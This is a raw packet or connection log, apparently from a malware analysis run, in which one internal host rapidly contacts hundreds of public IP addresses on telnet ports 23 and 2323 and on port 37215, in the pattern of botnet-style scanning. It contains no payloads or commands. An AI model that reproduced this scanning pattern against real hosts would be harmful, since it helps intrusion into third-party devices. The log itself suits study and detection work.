Nov 3, 2024 15:37:20.233196974 CET	51916	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:20.233318090 CET	23	43634	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:20.233336926 CET	2323	42718	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:20.233534098 CET	23	39234	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:20.233623981 CET	23	56254	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:20.233635902 CET	23	45472	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:20.233688116 CET	23	49078	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:20.233726978 CET	23	51662	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:20.233813047 CET	23	34356	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:20.233825922 CET	23	60356	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:20.233905077 CET	51662	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:20.233927965 CET	23	42926	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:20.233967066 CET	51860	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:20.233968973 CET	23	46404	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:20.233994007 CET	56254	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:20.234019995 CET	56448	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:20.234045982 CET	23	32950	180.136.220.145	192.168.2.14
Nov 3, 2024 15:37:20.234050989 CET	39234	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:20.234088898 CET	39428	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:20.234101057 CET	49078	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:20.234123945 CET	49278	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:20.234143019 CET	45472	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:20.234174013 CET	45668	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:20.234185934 CET	43634	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:20.234217882 CET	23	53590	9.100.226.225	192.168.2.14
Nov 3, 2024 15:37:20.234230042 CET	43830	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:20.234234095 CET	23	33730	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.234245062 CET	23	60162	8.127.170.172	192.168.2.14
Nov 3, 2024 15:37:20.234257936 CET	23	46384	71.215.194.126	192.168.2.14
Nov 3, 2024 15:37:20.234338999 CET	23	33778	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.234344959 CET	42718	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:20.234374046 CET	33778	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.234375000 CET	42914	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:20.234388113 CET	23	40836	40.112.119.143	192.168.2.14
Nov 3, 2024 15:37:20.234401941 CET	52390	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:20.234422922 CET	52586	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:20.234443903 CET	23	52236	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:20.234451056 CET	60052	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:20.234479904 CET	23	50520	48.144.211.27	192.168.2.14
Nov 3, 2024 15:37:20.234487057 CET	60248	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:20.234492064 CET	23	45704	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:20.234517097 CET	2323	39042	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:20.234522104 CET	36538	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:20.234574080 CET	36734	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:20.234580994 CET	23	37146	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:20.234596968 CET	51916	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:20.234649897 CET	52110	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:20.234735012 CET	23	44160	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:20.234755039 CET	23	34488	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:20.234803915 CET	46404	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:20.234834909 CET	23	53454	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:20.234841108 CET	46630	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:20.234865904 CET	23	38440	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:20.234865904 CET	42926	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:20.234890938 CET	43152	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:20.234904051 CET	34356	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:20.234941006 CET	34582	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:20.234950066 CET	60356	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:20.234988928 CET	60580	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:20.235008955 CET	23	49076	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:20.235019922 CET	53590	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:20.235039949 CET	54120	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:20.235055923 CET	32950	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:20.235058069 CET	23	41760	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:20.235084057 CET	33480	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:20.235099077 CET	60162	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:20.235136032 CET	60692	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:20.235162973 CET	46384	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:20.235183954 CET	23	51574	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:20.235198975 CET	46914	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:20.235202074 CET	23	40070	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:20.235214949 CET	50520	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:20.235325098 CET	51048	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:20.235347033 CET	40836	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:20.235383034 CET	2323	51352	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:20.235385895 CET	41364	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:20.236043930 CET	23	50314	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:20.236457109 CET	23	41406	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:20.236469030 CET	23	55362	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:20.236479998 CET	23	57008	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:20.236588001 CET	23	56366	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:20.236807108 CET	23	53250	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:20.236845970 CET	23	38304	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:20.236991882 CET	23	52492	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:20.237205982 CET	2323	43888	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:20.237304926 CET	23	37506	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:20.237381935 CET	23	50162	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:20.237518072 CET	23	53592	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:20.237596989 CET	23	48676	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:20.237647057 CET	23	35086	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:20.237729073 CET	23	59470	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:20.237782955 CET	23	43032	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:20.237859964 CET	23	33436	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:20.238198042 CET	23	40480	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:20.238723040 CET	23	51662	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:20.238826036 CET	23	56254	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:20.238919020 CET	23	39234	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:20.238929987 CET	23	49078	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:20.238938093 CET	23	45472	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:20.239064932 CET	23	43634	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:20.239195108 CET	2323	42718	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:20.239204884 CET	23	52390	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:20.239289045 CET	23	60052	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:20.239299059 CET	23	36538	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:20.239526987 CET	2323	51916	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:20.239537001 CET	23	33778	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.239567041 CET	23	46404	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:20.239634037 CET	33778	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.239643097 CET	33884	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.239886999 CET	23	42926	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:20.239897013 CET	23	34356	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:20.239907026 CET	23	60356	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:20.239917040 CET	23	53590	9.100.226.225	192.168.2.14
Nov 3, 2024 15:37:20.239926100 CET	23	32950	180.136.220.145	192.168.2.14
Nov 3, 2024 15:37:20.239984989 CET	23	60162	8.127.170.172	192.168.2.14
Nov 3, 2024 15:37:20.239995003 CET	23	46384	71.215.194.126	192.168.2.14
Nov 3, 2024 15:37:20.240005970 CET	23	50520	48.144.211.27	192.168.2.14
Nov 3, 2024 15:37:20.240123987 CET	23	40836	40.112.119.143	192.168.2.14
Nov 3, 2024 15:37:20.244477034 CET	23	33778	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.244497061 CET	23	33884	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.244545937 CET	33884	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.249186993 CET	35456	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:20.249592066 CET	23	33884	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.249703884 CET	33884	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.249723911 CET	33886	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.254005909 CET	23	35456	99.30.146.82	192.168.2.14
Nov 3, 2024 15:37:20.254051924 CET	35456	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:20.254468918 CET	23	33884	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.473299980 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.473303080 CET	44784	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:20.473319054 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.473320961 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.473321915 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.473326921 CET	39338	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:20.473346949 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.473346949 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.473352909 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.473368883 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.473377943 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:20.473386049 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.473400116 CET	44086	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.473407030 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.473421097 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.473440886 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.473439932 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.473453045 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.473469019 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.473480940 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.473489046 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.473504066 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.473520994 CET	56708	37215	192.168.2.14	156.125.220.5
Nov 3, 2024 15:37:20.473521948 CET	60068	37215	192.168.2.14	156.41.151.105
Nov 3, 2024 15:37:20.473536968 CET	38964	37215	192.168.2.14	156.242.7.36
Nov 3, 2024 15:37:20.473546982 CET	59528	37215	192.168.2.14	41.35.188.21
Nov 3, 2024 15:37:20.473561049 CET	51622	37215	192.168.2.14	156.253.94.64
Nov 3, 2024 15:37:20.473573923 CET	51460	37215	192.168.2.14	197.77.9.49
Nov 3, 2024 15:37:20.473584890 CET	53632	37215	192.168.2.14	156.1.100.73
Nov 3, 2024 15:37:20.473596096 CET	33602	37215	192.168.2.14	41.46.213.46
Nov 3, 2024 15:37:20.473609924 CET	35984	37215	192.168.2.14	41.191.220.250
Nov 3, 2024 15:37:20.473613024 CET	33556	37215	192.168.2.14	41.69.157.162
Nov 3, 2024 15:37:20.473623991 CET	41262	37215	192.168.2.14	156.164.209.17
Nov 3, 2024 15:37:20.473640919 CET	40484	37215	192.168.2.14	197.61.130.228
Nov 3, 2024 15:37:20.473650932 CET	33930	37215	192.168.2.14	156.77.41.62
Nov 3, 2024 15:37:20.473664045 CET	57920	37215	192.168.2.14	197.86.63.36
Nov 3, 2024 15:37:20.473675013 CET	60568	37215	192.168.2.14	156.66.120.45
Nov 3, 2024 15:37:20.473680019 CET	33516	37215	192.168.2.14	197.165.253.160
Nov 3, 2024 15:37:20.473691940 CET	54946	37215	192.168.2.14	41.138.3.85
Nov 3, 2024 15:37:20.473706007 CET	33422	37215	192.168.2.14	197.180.246.19
Nov 3, 2024 15:37:20.473714113 CET	36000	37215	192.168.2.14	156.76.79.236
Nov 3, 2024 15:37:20.473726988 CET	45492	37215	192.168.2.14	197.42.194.121
Nov 3, 2024 15:37:20.473737001 CET	39792	37215	192.168.2.14	197.133.46.246
Nov 3, 2024 15:37:20.473747015 CET	56358	37215	192.168.2.14	156.18.170.50
Nov 3, 2024 15:37:20.473762035 CET	44174	37215	192.168.2.14	197.128.163.103
Nov 3, 2024 15:37:20.473776102 CET	33294	37215	192.168.2.14	197.9.181.39
Nov 3, 2024 15:37:20.473781109 CET	45434	37215	192.168.2.14	197.199.193.81
Nov 3, 2024 15:37:20.473797083 CET	38474	37215	192.168.2.14	156.171.10.118
Nov 3, 2024 15:37:20.473803043 CET	46388	37215	192.168.2.14	156.99.16.69
Nov 3, 2024 15:37:20.473820925 CET	51108	37215	192.168.2.14	41.169.47.223
Nov 3, 2024 15:37:20.473830938 CET	39360	37215	192.168.2.14	197.187.102.211
Nov 3, 2024 15:37:20.473845005 CET	47772	37215	192.168.2.14	156.251.175.176
Nov 3, 2024 15:37:20.473855019 CET	58364	37215	192.168.2.14	197.162.187.45
Nov 3, 2024 15:37:20.473860979 CET	49948	37215	192.168.2.14	156.46.63.127
Nov 3, 2024 15:37:20.473879099 CET	57382	37215	192.168.2.14	41.119.192.196
Nov 3, 2024 15:37:20.473887920 CET	42156	37215	192.168.2.14	156.161.128.73
Nov 3, 2024 15:37:20.473896980 CET	45062	37215	192.168.2.14	197.178.183.95
Nov 3, 2024 15:37:20.473912001 CET	35904	37215	192.168.2.14	156.177.173.227
Nov 3, 2024 15:37:20.473917007 CET	59894	37215	192.168.2.14	197.184.254.212
Nov 3, 2024 15:37:20.473929882 CET	38474	37215	192.168.2.14	197.201.248.7
Nov 3, 2024 15:37:20.473948002 CET	44816	37215	192.168.2.14	156.172.44.144
Nov 3, 2024 15:37:20.473954916 CET	48520	37215	192.168.2.14	197.209.184.77
Nov 3, 2024 15:37:20.473963022 CET	54306	37215	192.168.2.14	197.96.212.56
Nov 3, 2024 15:37:20.473978996 CET	53198	37215	192.168.2.14	197.154.154.127
Nov 3, 2024 15:37:20.473985910 CET	60076	37215	192.168.2.14	156.32.70.57
Nov 3, 2024 15:37:20.473999977 CET	44834	37215	192.168.2.14	156.150.129.11
Nov 3, 2024 15:37:20.474014044 CET	51246	37215	192.168.2.14	156.250.126.240
Nov 3, 2024 15:37:20.474019051 CET	34614	37215	192.168.2.14	156.89.94.83
Nov 3, 2024 15:37:20.474034071 CET	52766	37215	192.168.2.14	197.144.161.163
Nov 3, 2024 15:37:20.474040031 CET	58376	37215	192.168.2.14	41.189.102.116
Nov 3, 2024 15:37:20.474055052 CET	40360	37215	192.168.2.14	156.52.174.31
Nov 3, 2024 15:37:20.474062920 CET	35730	37215	192.168.2.14	156.223.190.37
Nov 3, 2024 15:37:20.474080086 CET	46168	37215	192.168.2.14	41.120.215.161
Nov 3, 2024 15:37:20.474087000 CET	49204	37215	192.168.2.14	197.237.126.146
Nov 3, 2024 15:37:20.474100113 CET	55504	37215	192.168.2.14	156.104.238.184
Nov 3, 2024 15:37:20.474113941 CET	47778	37215	192.168.2.14	41.170.131.147
Nov 3, 2024 15:37:20.474128008 CET	52124	37215	192.168.2.14	41.43.59.187
Nov 3, 2024 15:37:20.474138021 CET	58136	37215	192.168.2.14	156.95.27.201
Nov 3, 2024 15:37:20.474155903 CET	37116	37215	192.168.2.14	156.54.114.94
Nov 3, 2024 15:37:20.474160910 CET	58370	37215	192.168.2.14	41.148.91.32
Nov 3, 2024 15:37:20.474169970 CET	56306	37215	192.168.2.14	156.4.82.191
Nov 3, 2024 15:37:20.474175930 CET	47108	37215	192.168.2.14	197.8.95.86
Nov 3, 2024 15:37:20.474186897 CET	33476	37215	192.168.2.14	156.103.60.216
Nov 3, 2024 15:37:20.474199057 CET	54768	37215	192.168.2.14	197.134.236.61
Nov 3, 2024 15:37:20.474214077 CET	56078	37215	192.168.2.14	156.173.8.123
Nov 3, 2024 15:37:20.474221945 CET	35386	37215	192.168.2.14	41.43.244.228
Nov 3, 2024 15:37:20.474231958 CET	45892	37215	192.168.2.14	197.161.72.192
Nov 3, 2024 15:37:20.474242926 CET	45312	37215	192.168.2.14	41.196.87.252
Nov 3, 2024 15:37:20.474253893 CET	50508	37215	192.168.2.14	41.226.210.84
Nov 3, 2024 15:37:20.474267006 CET	39492	37215	192.168.2.14	156.206.139.70
Nov 3, 2024 15:37:20.474277020 CET	57768	37215	192.168.2.14	197.35.59.141
Nov 3, 2024 15:37:20.474287987 CET	60842	37215	192.168.2.14	156.132.107.175
Nov 3, 2024 15:37:20.474302053 CET	33452	37215	192.168.2.14	197.228.67.156
Nov 3, 2024 15:37:20.474309921 CET	58884	37215	192.168.2.14	41.45.170.50
Nov 3, 2024 15:37:20.474327087 CET	38030	37215	192.168.2.14	197.210.2.219
Nov 3, 2024 15:37:20.476874113 CET	23	34572	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:20.477098942 CET	34572	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:20.477217913 CET	34686	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:20.478213072 CET	37215	44784	156.166.164.0	192.168.2.14
Nov 3, 2024 15:37:20.478224039 CET	37215	50390	197.146.222.70	192.168.2.14
Nov 3, 2024 15:37:20.478235006 CET	37215	39338	41.104.134.176	192.168.2.14
Nov 3, 2024 15:37:20.478250027 CET	37215	45654	41.187.40.170	192.168.2.14
Nov 3, 2024 15:37:20.478280067 CET	44784	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:20.478282928 CET	39338	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:20.478302002 CET	37215	41744	156.1.29.107	192.168.2.14
Nov 3, 2024 15:37:20.478324890 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.478337049 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.478359938 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.478359938 CET	37215	53048	156.135.86.124	192.168.2.14
Nov 3, 2024 15:37:20.478383064 CET	37215	59220	197.180.247.83	192.168.2.14
Nov 3, 2024 15:37:20.478395939 CET	37215	57962	197.187.11.183	192.168.2.14
Nov 3, 2024 15:37:20.478399038 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.478410006 CET	37215	56492	197.160.111.112	192.168.2.14
Nov 3, 2024 15:37:20.478420973 CET	37215	51632	156.225.238.60	192.168.2.14
Nov 3, 2024 15:37:20.478432894 CET	37215	49824	41.129.72.93	192.168.2.14
Nov 3, 2024 15:37:20.478435993 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.478447914 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.478451014 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.478466034 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:20.478493929 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.478646040 CET	35945	37215	192.168.2.14	197.134.113.73
Nov 3, 2024 15:37:20.478652954 CET	37215	41844	197.136.16.17	192.168.2.14
Nov 3, 2024 15:37:20.478662968 CET	35945	37215	192.168.2.14	156.115.217.122
Nov 3, 2024 15:37:20.478665113 CET	37215	44086	156.244.173.36	192.168.2.14
Nov 3, 2024 15:37:20.478677034 CET	37215	45250	156.58.86.200	192.168.2.14
Nov 3, 2024 15:37:20.478688002 CET	37215	44396	197.95.159.78	192.168.2.14
Nov 3, 2024 15:37:20.478698015 CET	37215	53874	156.106.155.75	192.168.2.14
Nov 3, 2024 15:37:20.478701115 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.478705883 CET	44086	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.478710890 CET	37215	50610	197.40.83.70	192.168.2.14
Nov 3, 2024 15:37:20.478713036 CET	35945	37215	192.168.2.14	41.54.79.91
Nov 3, 2024 15:37:20.478713036 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.478713989 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.478746891 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.478748083 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.478775978 CET	35945	37215	192.168.2.14	41.120.222.224
Nov 3, 2024 15:37:20.478776932 CET	37215	50218	41.18.84.78	192.168.2.14
Nov 3, 2024 15:37:20.478789091 CET	37215	50748	197.193.109.8	192.168.2.14
Nov 3, 2024 15:37:20.478795052 CET	35945	37215	192.168.2.14	197.124.27.21
Nov 3, 2024 15:37:20.478797913 CET	37215	53406	156.23.22.42	192.168.2.14
Nov 3, 2024 15:37:20.478810072 CET	37215	59706	156.12.15.170	192.168.2.14
Nov 3, 2024 15:37:20.478821039 CET	37215	42438	197.252.222.59	192.168.2.14
Nov 3, 2024 15:37:20.478820086 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.478822947 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.478831053 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.478844881 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.478852034 CET	35945	37215	192.168.2.14	41.139.128.20
Nov 3, 2024 15:37:20.478854895 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.478877068 CET	35945	37215	192.168.2.14	41.157.65.191
Nov 3, 2024 15:37:20.478908062 CET	35945	37215	192.168.2.14	197.124.57.194
Nov 3, 2024 15:37:20.478920937 CET	35945	37215	192.168.2.14	41.203.212.192
Nov 3, 2024 15:37:20.478941917 CET	35945	37215	192.168.2.14	41.173.163.8
Nov 3, 2024 15:37:20.478970051 CET	35945	37215	192.168.2.14	41.84.140.68
Nov 3, 2024 15:37:20.478986025 CET	35945	37215	192.168.2.14	156.83.180.210
Nov 3, 2024 15:37:20.479005098 CET	35945	37215	192.168.2.14	156.97.97.32
Nov 3, 2024 15:37:20.479031086 CET	35945	37215	192.168.2.14	41.20.14.94
Nov 3, 2024 15:37:20.479043961 CET	35945	37215	192.168.2.14	41.153.138.214
Nov 3, 2024 15:37:20.479053020 CET	35945	37215	192.168.2.14	156.152.5.220
Nov 3, 2024 15:37:20.479077101 CET	35945	37215	192.168.2.14	41.29.235.248
Nov 3, 2024 15:37:20.479087114 CET	35945	37215	192.168.2.14	41.20.226.231
Nov 3, 2024 15:37:20.479105949 CET	35945	37215	192.168.2.14	197.90.192.123
Nov 3, 2024 15:37:20.479119062 CET	35945	37215	192.168.2.14	197.85.14.227
Nov 3, 2024 15:37:20.479146004 CET	35945	37215	192.168.2.14	156.80.38.123
Nov 3, 2024 15:37:20.479157925 CET	35945	37215	192.168.2.14	197.76.77.120
Nov 3, 2024 15:37:20.479191065 CET	35945	37215	192.168.2.14	197.13.254.141
Nov 3, 2024 15:37:20.479213953 CET	35945	37215	192.168.2.14	41.6.22.232
Nov 3, 2024 15:37:20.479226112 CET	35945	37215	192.168.2.14	156.29.52.97
Nov 3, 2024 15:37:20.479240894 CET	35945	37215	192.168.2.14	41.59.64.22
Nov 3, 2024 15:37:20.479252100 CET	35945	37215	192.168.2.14	156.41.0.0
Nov 3, 2024 15:37:20.479271889 CET	35945	37215	192.168.2.14	156.127.37.30
Nov 3, 2024 15:37:20.479300976 CET	35945	37215	192.168.2.14	156.8.14.126
Nov 3, 2024 15:37:20.479315996 CET	35945	37215	192.168.2.14	156.105.41.91
Nov 3, 2024 15:37:20.479334116 CET	35945	37215	192.168.2.14	41.46.249.121
Nov 3, 2024 15:37:20.479343891 CET	35945	37215	192.168.2.14	156.43.28.2
Nov 3, 2024 15:37:20.479357958 CET	35945	37215	192.168.2.14	197.50.201.87
Nov 3, 2024 15:37:20.479386091 CET	35945	37215	192.168.2.14	156.181.202.211
Nov 3, 2024 15:37:20.479407072 CET	35945	37215	192.168.2.14	41.153.56.28
Nov 3, 2024 15:37:20.479432106 CET	35945	37215	192.168.2.14	41.218.166.117
Nov 3, 2024 15:37:20.479455948 CET	35945	37215	192.168.2.14	156.116.223.126
Nov 3, 2024 15:37:20.479463100 CET	35945	37215	192.168.2.14	197.193.21.252
Nov 3, 2024 15:37:20.479487896 CET	35945	37215	192.168.2.14	197.108.12.78
Nov 3, 2024 15:37:20.479520082 CET	35945	37215	192.168.2.14	156.211.49.221
Nov 3, 2024 15:37:20.479520082 CET	35945	37215	192.168.2.14	41.64.26.240
Nov 3, 2024 15:37:20.479526997 CET	35945	37215	192.168.2.14	41.254.77.217
Nov 3, 2024 15:37:20.479541063 CET	35945	37215	192.168.2.14	41.1.43.8
Nov 3, 2024 15:37:20.479567051 CET	35945	37215	192.168.2.14	41.228.90.44
Nov 3, 2024 15:37:20.479576111 CET	35945	37215	192.168.2.14	197.133.142.119
Nov 3, 2024 15:37:20.479597092 CET	35945	37215	192.168.2.14	197.156.224.96
Nov 3, 2024 15:37:20.479604959 CET	35945	37215	192.168.2.14	156.84.124.234
Nov 3, 2024 15:37:20.479612112 CET	35945	37215	192.168.2.14	197.35.75.204
Nov 3, 2024 15:37:20.479641914 CET	35945	37215	192.168.2.14	197.92.104.130
Nov 3, 2024 15:37:20.479655981 CET	35945	37215	192.168.2.14	156.139.144.122
Nov 3, 2024 15:37:20.479681015 CET	35945	37215	192.168.2.14	41.60.32.241
Nov 3, 2024 15:37:20.479691982 CET	35945	37215	192.168.2.14	41.158.174.115
Nov 3, 2024 15:37:20.479708910 CET	35945	37215	192.168.2.14	197.60.179.216
Nov 3, 2024 15:37:20.479715109 CET	35945	37215	192.168.2.14	156.14.216.154
Nov 3, 2024 15:37:20.479729891 CET	35945	37215	192.168.2.14	41.71.150.194
Nov 3, 2024 15:37:20.479758024 CET	35945	37215	192.168.2.14	41.85.250.172
Nov 3, 2024 15:37:20.479769945 CET	35945	37215	192.168.2.14	197.146.100.253
Nov 3, 2024 15:37:20.479782104 CET	35945	37215	192.168.2.14	156.54.131.97
Nov 3, 2024 15:37:20.479814053 CET	35945	37215	192.168.2.14	197.250.248.74
Nov 3, 2024 15:37:20.479826927 CET	35945	37215	192.168.2.14	197.201.47.102
Nov 3, 2024 15:37:20.479842901 CET	35945	37215	192.168.2.14	156.106.49.255
Nov 3, 2024 15:37:20.479849100 CET	35945	37215	192.168.2.14	197.189.132.4
Nov 3, 2024 15:37:20.479866982 CET	35945	37215	192.168.2.14	197.54.15.185
Nov 3, 2024 15:37:20.479887962 CET	35945	37215	192.168.2.14	41.233.31.13
Nov 3, 2024 15:37:20.479904890 CET	35945	37215	192.168.2.14	41.255.93.153
Nov 3, 2024 15:37:20.479926109 CET	35945	37215	192.168.2.14	197.13.180.157
